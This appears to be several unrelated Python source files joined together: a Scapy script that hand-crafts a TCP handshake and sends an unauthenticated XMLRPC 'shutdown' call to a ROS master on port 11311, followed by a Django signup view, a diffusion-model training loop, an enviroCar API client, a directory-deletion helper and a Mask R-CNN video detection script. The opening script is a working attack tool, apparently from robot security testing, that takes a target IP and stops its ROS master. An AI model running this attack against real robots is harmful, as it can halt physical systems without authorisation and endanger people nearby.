        version=b"<?xml version='1.0'?>\n",
        methodcall_opentag=b"<methodCall>\n",
        methodname_opentag=b"<methodName>",
        methodname=b"shutdown",
        methodname_closetag=b"</methodName>\n",
        params_opentag=b"<params>\n",
        params=b"<param>\n<value><string>/rosparam-92418</string></value>\n</param>\n<param>\n<value><string>4L145_R080T1C5</string></value>\n</param>\n",
        params_closetag=b"</params>\n",
        methodcall_closetag=b"</methodCall>\n",
    )
)

###################################################################################
# GENERAL FUNCTIONS
###################################################################################

def yellow(text):
    print("\033[33m", text, "\033[0m", sep="")

def red(text):
    print("\033[31m", text, "\033[0m", sep="")

def gray(text):
    print("\033[90m", text, "\033[0m", sep="")

def magenta(text):
    print("\033[35m", text, "\033[0m", sep="")

def log_events(log_info, type_event):
    """
    Log events for post-analysis

    param log_info, scapy package
    param type_event: str, either "fuzzing", "weird" or "error"
    """

    log_msg = (
        "["
        + time.ctime()
        + "]"
        + "\n\n"
        + log_info.command()
        + "\n\n"
        + raw(log_info).decode("iso-8859-1")
    )
    # log_msg_encoded = log_info

    if type_event == "fuzzing":
        try:
            fd = open("fuzz.log", "a")
        except IOError as err:
            return "[!] Error opening log file: %s" % str(err)

    elif type_event == "error":
        try:
            fd = open("error.log", "a")
        except IOError as err:
            return "[!] Error opening error file: %s" % str(err)

    elif type_event == "weird":
        try:
            fd = open("weird.log", "a")
        except IOError as err:
            return "[!] Error opening error file: %s" % str(err)

    else:
        return "[!] '%s' is an unrecognized log event type." % type_event

    if fd:
        fd.write(log_msg)

    return

def preamble():
    """
    ROS XMLRPC preamble

    returns: bool, indicating if successful
    """
    # send the SYN, receive response
    p_attack = IP(version=4, frag=0, ttl=64, proto=6, dst=destination) / TCP(
        sport=origin_port, dport=11311, seq=0, ack=0, flags=2
    )
    ans = sr1(p_attack, retry=0, timeout=1)
    # ans = srp1(p_attack, retry=0, timeout=1)

    if ans and len(ans) > 0 and ans[TCP].flags == "SA":
        # print(ans.summary())  # debug
        # ls(ans)  # debug

        # send the ACK
        p_attack = IP(
            version=4, ihl=5, flags=2, frag=0, ttl=64, proto=6, dst=destination
        ) / TCP(
            sport=origin_port,
            dport=11311,
            flags=16,
            seq=ans[TCP].ack,
            ack=ans[TCP].seq + 1,
        )
        send(p_attack)
        return True, ans
    else:
        return False, ans

def process_xmlrpc_response(p_attack, ans, unans, field_name=None):
    """
    Abstracts how the different functions process the XMLRPC responses
    for logging and analysis purposes.

    param p_attack: package used during the attack
    param ans: first result from scapy sr
    param uans: second result from scapy sr
    param field_name: field_name to consider when logging/evaluating

    Essentially:
    1. makes sure that there's an answer
    2. fetches the field to evaluate (or None)
    3. Checks results and responses and logs accordingly
    """

    # check if there's been an answer at all
    if len(ans) > 0:
        # ans.show()  # debug
        # print(list(ans[0][1])[0][XMLRPC])  # debug
        # print(ans[0][1][1][XMLRPC])  # debug

        response = list(ans[0][1])[0]
        if response == None:
            red("response None")

        # give it some colour for visual debugging:
        # print(response[XMLRPC])

        # print(response)  # debug
        # print(type(response))  # debug
        # print(b"Error" in response)  # debug
        # print(b"Error" in raw(response))  # debug

        field_evaluated = getattr(p_attack, field_name)

        if (
            b"Error" in raw(response)
            or b"is not set" in raw(response)
            or b"Exception" in raw(response)
            or b"missing required caller_id" in raw(response)
        ):
            red(response[XMLRPC])
            if not field_evaluated in errors_list:
                log_events(p_attack[XMLRPC], "error")
                errors_list.append(field_evaluated)

        # params, /rosdistro
        elif (
            b"melodic" in raw(response)  # hardcoded for testing setup
            and b"<int>1</int>" in raw(response)
            and field_name == "params"
        ):
            yellow(response[XMLRPC])
            if not field_evaluated in valid_list:
                log_events(p_attack[XMLRPC], "fuzzing")
                valid_list.append(field_evaluated)

        # params, setParam
        elif (
            b"parameter" in raw(response)  # hardcoded for testing setup
            and b"<int>1</int>" in raw(response)
            and b"set" in raw(response)
            # and b"<int>0</int>" in raw(response)
            and field_name == "params"
        ):
            yellow(response[XMLRPC])
            if not field_evaluated in valid_list:
                log_events(p_attack[XMLRPC], "fuzzing")
                valid_list.append(field_evaluated)

        # getPid
        elif b"<int>1</int>" in raw(response) and field_name == "methodname":
            yellow(response[XMLRPC])
            if not field_evaluated in valid_list:
                log_events(p_attack[XMLRPC], "fuzzing")
                valid_list.append(field_evaluated)

        else:
            #  something weird happened, review
            magenta(response[XMLRPC])
            if not field_evaluated in weird_list:
                log_events(p_attack[XMLRPC], "weird")
                weird_list.append(field_evaluated)

        #################
        # send the ACK so that we don't get spammed for retransmissions
        #################

        ack = IP(
            version=4, ihl=5, flags=2, frag=0, ttl=64, proto=6, dst="192.168.2.6"
        ) / TCP(
            sport=origin_port,
            dport=11311,
            flags=16,
            seq=response[TCP].ack,
            ack=len(response[TCP].payload) + response[TCP].seq,
        )
        send(ack)

###################################################################################
# ATTACKS
###################################################################################

def shutdown():
    """
    Call the shutdown method from the external API defined as:

        Stop this server
        @param caller_id: ROS caller id
        @type  caller_id: str
        @param msg: a message describing why the node is being shutdown.
        @type  msg: str
        @return: [code, msg, 0]
        @rtype: [int, str, int]

    """
    success, ans = preamble()
    if success:

        # Using default packages
        p_attack = package_shutdown
        p_attack[IP].dst = destination
        p_attack[TCP].sport = origin_port
        p_attack[TCP].seq = ans[TCP].ack
        p_attack[TCP].ack = ans[TCP].seq + 1

        # adjust size of XMLRPC package payload
        p_attack[HTTPRequest].Content_Length = str(
            len(p_attack[HTTPRequest].payload)
        ).encode("iso-8859-1")

        # gray(p_attack[XMLRPC].params)  # debug package to send
        ans, unans = sr(p_attack, timeout=5)

        # process the response coherently and return ACK
        process_xmlrpc_response(p_attack, ans, unans, "params")

###################################################################################
# CORE LOGIC
###################################################################################

# ##############################
# # fuzzing getParam
# ##############################
weird_list = []  # list containing weird/non-accounted responses
errors_list = []  #  a list containing each
valid_list = []

print(conf.iface)

if len(sys.argv) < 2:
    print("Supply IP as a first argument")
else:
    origin_port = random.randint(12000, 65000)
    destination = sys.argv[1]
    shutdown()


from django.shortcuts import render, redirect
from django.contrib.auth import logout
from django.views.generic import View
from .forms import ExtraDataForm
from django.core.mail import EmailMessage
class ExtraDataView(View):

	def get(self, request, *args, **kwargs):
		if request.user.status:
			return redirect('/')
		else:
			return render(request, 'users/extra_data.html')

	def post(self, request, *args, **kwargs):
		form = ExtraDataForm(request.POST)
		if form.is_valid():
			request.user.username = request.POST['username']
			request.user.email = request.POST['email']
			request.user.status = True
			request.user.save()
			send_email(request)
			return redirect('/')
		else:
			error_username = form['username'].errors.as_text()
			error_email = form['email'].errors.as_text()
			ctx = {'error_username':error_username, 'error_email':error_email}
			return render(request, 'users/extra_data.html', ctx)

def LogOut(request):
	logout(request)
	return redirect('/')

def send_email(request):

	msg = EmailMessage(subject = 'Bienvenida', from_email = 'Fabian Falon <fabian_falon@hotmail.com',
					   to = [request.user.email])

	msg.template_name = 'welcom'
	msg.template_content = {

	   'std_content00' : '
Hola %s Bienvenido a DevAsk
' % request.user
	}

	msg.send()


import torch
import torchvision
import matplotlib.pyplot as plt
from torchvision import transforms
from torch.utils.data import DataLoader
from tqdm import tqdm
from time import time
from datetime import timedelta

class dotdict(dict):
    """dot.notation access to dictionary attributes"""
    __getattr__ = dict.get
    __setattr__ = dict.__setitem__
    __delattr__ = dict.__delitem__

def load_transformed_dataset(img_size):
    data_transforms = [
        transforms.Resize((img_size, img_size)), # height, width
        transforms.RandomHorizontalFlip(),
        transforms.ToTensor(), # Scales data into [0,1]
        transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5)), # Scale between [-1, 1]
    ]
    data_transform = transforms.Compose(data_transforms)

    train = torchvision.datasets.StanfordCars(root="./", download=False,
                                         transform=data_transform)

    test = torchvision.datasets.StanfordCars(root="./", download=False,
                                         transform=data_transform, split='test')
    return train, test

def plot_images(images):
    plt.figure(figsize=(32, 32))
    plt.imshow(torch.cat([
        torch.cat([i for i in images.cpu()], dim=-1),
    ], dim=-2).permute(1, 2, 0).cpu())
    plt.show()

def make_dataloader(img_size, batch_size):

    data_train, data_test = load_transformed_dataset(img_size)
    dataset =  torch.utils.data.ConcatDataset([data_train, data_test])
    dataloader = DataLoader(dataset, batch_size=batch_size, shuffle=True)

    return dataloader

def train_one_epoch(args, model, diffusion, dataloader, optimizer, criterion):
    if args.print_pbar: pbar = tqdm(dataloader)
    else: pbar = dataloader
    total_loss = 0
    for images, _ in pbar:
        images = images.to(args.device)
        t = diffusion.sample_timesteps(images.shape[0]).to(args.device)
        x_t, noise = diffusion.noise_images(images, t)
        predicted_noise = model(x_t, t)
        loss = criterion(noise, predicted_noise)
        # noise를 없앤 image 자체를 학습하고 싶으면 x_t와 predicted_noise를 loss의 input으로 준다.

        optimizer.zero_grad()
        loss.backward()
        optimizer.step()

        if args.print_pbar: pbar.set_postfix(MSE=f'{loss.item():.3f}')
        total_loss += loss.item()

    avg_loss = total_loss / len(dataloader)
    return avg_loss

def train(args, model, diffusion, optimizer, criterion, dataloader):
    print('Start Training')
    model.train()
    for epoch in range(args.epochs):
        start = time()
        avg_loss = train_one_epoch(args, model, diffusion, dataloader, optimizer, criterion)
        print(f'Epoch: [{epoch:03d}/{args.epochs}] \t loss={avg_loss:.4f} \t Took: {str(timedelta(seconds=int(time() - start)))}')
        torch.save(model, args.save_model_name + '.pt')
    print('Finish!')


import json
import pandas as pd
import geopandas as gpd

from ..request_param import RequestParam, BboxSelector, TimeSelector
from ..download_client import DownloadClient

class TrackAPI():
    """Handles the API access to the enviroCar backend and returns queried results as dataframes"""
    TRACKS_ENDPOINT = "tracks"
    TRACK_ENDPOINT = "tracks/{}"
    USERTRACKS_ENDPOINT = "users/{}/tracks"

    def __init__(self, api_client=None):
        self.api_client = api_client or DownloadClient()

    def get_tracks(self, username=None, bbox:BboxSelector=None, time_interval:TimeSelector=None, num_results=10, page_limit=100):
        """Handles queries against the enviroCar api

        Keyword Arguments:
            username {str} -- the username to request tracks for (default: {None})
            bbox {BboxSelector} -- bbox query parameter (default: {None})
            time_interval {TimeSelector} -- time interval query parameter (default: {None})
            num_results {int} -- maximum number of tracks to request (default: {10})
            page_limit {int} -- page limit (default: {100})

        Returns:
            GeoDataFrame -- A GeoDataFrame containing the tracks matching the request parameters
        """
        path = self._get_path(username=username)

        # creating download_requests
        download_requests = []
        current_results = 0
        current_page = 1
        while current_results < num_results:
            request_params = {
                'limit': page_limit,
                'page': current_page
            }
            if bbox:
                request_params.update(bbox.param)

            if time_interval:
                request_params.update(time_interval.param)

            request = RequestParam(path=path, params=request_params)
            download_requests.append(request)

            current_results += page_limit
            current_page += 1

        # request for /tracks
        tracks_meta_df = self.api_client.download(download_requests, decoder=_parse_tracks_list_df)
        tracks_meta_df = tracks_meta_df[:num_results]

        if not tracks_meta_df.empty:
            ids = tracks_meta_df['track.id'].values
            tracks_df = self._get_tracks_by_ids(ids)
            return tracks_df

        return gpd.GeoDataFrame()

    def get_track(self, track_id: str):
        return self.api_client.download(
            RequestParam(path=self._get_path(trackid=track_id)),
            decoder=_parse_track_df)

    def _get_tracks_by_ids(self, ids: [str]):
        download_requests = [RequestParam(path=self._get_path(trackid=id)) for id in ids]
        return self.api_client.download(download_requests, decoder=_parse_track_df)

    def _get_path(self, *, username=None, trackid=None):
        if username is None and trackid is None:
            return self.TRACKS_ENDPOINT
        if username:
            return self.USERTRACKS_ENDPOINT.format(username)
        if trackid:
            return self.TRACK_ENDPOINT.format(trackid)

def _parse_tracks_list_df(tracks_jsons):
    if not isinstance(tracks_jsons, list):
        tracks_jsons = [tracks_jsons]

    tracks_meta_df = pd.DataFrame()
    for tracks_json in tracks_jsons:
        if tracks_json:
            ec_data = json.loads(tracks_json)
            df = pd.json_normalize(ec_data, 'tracks')
            df.rename(columns=__rename_track_columns, inplace=True)
            tracks_meta_df = tracks_meta_df.append(df)

    return tracks_meta_df

def _parse_track_df(track_jsons):
    if not isinstance(track_jsons, list):
        track_jsons = [track_jsons]

    tracks_df = gpd.GeoDataFrame()
    for track_json in track_jsons:
        # read properties
        car_df = pd.json_normalize(json.loads(track_json)['properties'])
        car_df.columns = car_df.columns.str.replace('sensor.properties.', 'sensor.')
        car_df.rename(columns=__rename_track_columns, inplace=True)

        # read geojson values
        track_df = gpd.read_file(track_json)
        track_df = track_df.join(pd.json_normalize(track_df['phenomenons'])).drop(['phenomenons'], axis=1)

        # combine dataframes
        car_df = pd.concat([car_df]*len(track_df.index), ignore_index=True)
        tracks_df = tracks_df.append(track_df.join(car_df))

    return tracks_df

def __rename_track_columns(x):
    if not x.startswith('sensor'):
        return 'track.' + x
    return x


import os
from pathlib import Path

def delete_dir_tree(directory: Path) -> None:
    """
    Recursively delete a whole directory and its content.
    Since there is no built-in function for this in the pathlib API and we want to keep it consistent, we have to use a self-written function.

    :param directory: The directory that should be removed
    """

    dir = directory

    for file in dir.iterdir():
        if file.is_dir():
            delete_dir_tree(file)
        else:
            file.unlink()
    dir.rmdir()

def pf(calling_class, file_path: str) -> str:
    """

    :param calling_class: the class of which this method is called
    :param file_path: path to file
    :return: joined path
    """
    return os.path.join(calling_class.path, file_path)


# -*- coding: utf-8 -*-

"""
@author: tjm
@software: PyCharm
@file: detect.py
@time: 2021/9/16 9:48
"""

import os
import sys
import skimage.io

from app import app
from app.mrcnn.config import Config
from datetime import datetime
from pathlib import Path
import cv2

# Root directory of the project
ROOT_DIR = os.getcwd()

# Import Mask RCNN
sys.path.append(ROOT_DIR)  # To find local version of the library
# from mrcnn import utils
from app.mrcnn import model as modellib
from app.mrcnn import visualize

# Import COCO config
# sys.path.append(os.path.join(ROOT_DIR, "samples/coco/"))  # To find local version
# from samples.coco import coco

# Directory to save h5 and trained model

MODEL_DIR = os.path.join(ROOT_DIR, "app\mrcnn\h5")

# Local path to trained weights file
COCO_MODEL_PATH = os.path.join(MODEL_DIR, "shapes20210726T1823/mask_rcnn_shapes_0014.h5")
# Download COCO trained weights from Releases if needed
if not os.path.exists(COCO_MODEL_PATH):
    # utils.download_trained_weights(COCO_MODEL_PATH)
    print("junlintianxia************ h5 model not exist ***********")

# Directory of images to run detection on
IMAGE_DIR = os.path.join(ROOT_DIR, "images")

class ShapesConfig(Config):
    """Configuration for training on the toy shapes dataset.
    Derives from the base Config class and overrides values specific
    to the toy shapes dataset.
    """
    # Give the configuration a recognizable name
    NAME = "shapes"

    # Train on 1 GPU and 8 images per GPU. We can put multiple images on each
    # GPU because the images are small. Batch size is 8 (GPUs * images/GPU).
    GPU_COUNT = 1
    IMAGES_PER_GPU = 1

    # Number of classes (including background)
    NUM_CLASSES = 1 + 12  # background + 12 shapes

    # Use small images for faster training. Set the limits of the small side
    # the large side, and that determines the image shape.
    IMAGE_MIN_DIM = 80
    IMAGE_MAX_DIM = 512

    # Use smaller anchors because our image and objects are small
    # RPN_ANCHOR_SCALES = (8 * 6, 16 * 6, 32 * 6, 64 * 6, 128 * 6)  # anchor side in pixels
    RPN_ANCHOR_SCALES = (8 * 2, 16 * 2, 32 * 2, 64 * 2, 128 * 2)

    # Reduce training ROIs per image because the images are small and have
    # few objects. Aim to allow ROI sampling to pick 33% positive ROIs.
    TRAIN_ROIS_PER_IMAGE = 10

    # Use a small epoch since the data is simple
    STEPS_PER_EPOCH = 10

    # use small validation steps since the epoch is small
    VALIDATION_STEPS = 5

# import train_tongue
# class InferenceConfig(coco.CocoConfig):
class InferenceConfig(ShapesConfig):
    # Set batch size to 1 since we'll be running inference on
    # one image at a time. Batch size = GPU_COUNT * IMAGES_PER_GPU
    GPU_COUNT = 1
    IMAGES_PER_GPU = 1

# 检测图片
class detect_image():

    def __init__(self, imgPath=None):
        self.imgPath = imgPath
        self.config = InferenceConfig()
        # Create model object in inference mode.
        self.model = modellib.MaskRCNN(mode="inference", model_dir=MODEL_DIR, config=self.config)

        # Load weights trained on MS-COCO
        self.model.load_weights(COCO_MODEL_PATH, by_name=True)

        # COCO Class names
        # Index of the class in the list is its ID. For example, to get ID of
        # the teddy bear class, use: class_names.index('teddy bear')
        self.class_names = ['BG', "AJ", "BX", "CJ", "CK", "CR", "FZ", "JG", "PL", "QF", "TJ", "ZC", "ZW"]
        # Load a random image from the images folder
        # file_names = next(os.walk(IMAGE_DIR))[2]
        # image = skimage.io.imread("./images/CJ6798.jpg")
        self.image = skimage.io.imread(imgPath)

    def call(self):
        a = datetime.now()
        # Run detection
        results = self.model.detect([self.image], verbose=1)
        b = datetime.now()
        # Visualize results
        print("time: ", (b - a).seconds)
        r = results[0]

        print("=======", r)

        visualize.display_instances(self.image, r['rois'], r['masks'], r['class_ids'],
                                    self.class_names, r['scores'])

# 检测视频
class detect_video():

    def __init__(self, videoPath=None):
        self.videoPath = videoPath
        self.video_capture = cv2.VideoCapture(self.videoPath)

        self.config = InferenceConfig()
        # Create model object in inference mode.
        self.model = modellib.MaskRCNN(mode="inference", model_dir=MODEL_DIR, config=self.config)

        # Load weights trained on MS-COCO
        self.model.load_weights(COCO_MODEL_PATH, by_name=True)

        # COCO Class names
        # Index of the class in the list is its ID. For example, to get ID of
        # the teddy bear class, use: class_names.index('teddy bear')
        self.class_names = ['BG', "AJ", "BX", "CJ", "CK", "CR", "FZ", "JG", "PL", "QF", "TJ", "ZC", "ZW"]

    def do_detect(self):
        a = datetime.now()
        # Run detection
        # TODO 动态创建保存路径，保存成功后，更新视频数据库缺陷文件夹路径（需修改数据库表，增加是否检测，检测结果路径两个字段）
        # TODO 动态创建路径已经实现，现在需要实现的是修改数据库，增加是否检测字段与检测结果路径字段
        # 获取文件名，当做文件保存路径名
        video_name = os.path.splitext(os.path.basename(self.videoPath))[0]
        # 拼成文件要保存的路径，文件直接保存在项目根目录results文件夹中，如果要保存在模型result文件夹中，需要在 visualize.display_instances中上进行设置
        folder_path = os.path.join('results', str(video_name))
        # save_path = os.path.join(ROOT_DIR, folder_path)
        # 先判断是否已经存在文件夹，若不存在，则新建新的文件夹
        # 若文件夹已经存在，则删除文件夹内的所有数据（用户点击重新检测的情况）
        if not Path(folder_path).exists():
            os.makedirs(folder_path)
            print('文件存储路径', folder_path)
        else:
            files = os.listdir(folder_path)
            for file in files:
                c_path = os.path.join(folder_path, file)
                os.remove(c_path)
        while True:
            ret, frame = self.video_capture.read()
            if ret:
                # TODO 常识转换灰度图，对比性能
                results = self.model.detect([frame], verbose=1)
                b = datetime.now()
                # Visualize results
                print("time: ", (b - a).seconds)
                r = results[0]

                print("=======", r)
                cur_class_id = len(r['class_ids'])
                if cur_class_id:
                    # TODO 方法visualize.display_instances需增加一个参数：缺陷结果保存路径
                    # 新增一个参数，file_path， 参数为想要保存的缺陷结果路径。该路径在上面设置。
                    visualize.display_instances(frame, r['rois'], r['masks'], r['class_ids'],
                                                self.class_names, folder_path, r['scores'])
            else:
                break
        return folder_path

if __name__ == "__main__":
    # det = detect_image("./images/CJ6798.jpg")
    # det.call()

    root_path = app.config['UP_DIR']  # 文件上传保存路径
    det = detect_video(
        r"D:\python-workspace\FlaskVideo-master\app\static\video\21-09-13\2202109131608391c1babe4b2204fd0a9fca5e0c1db731d.mp4")
    det.do_detect()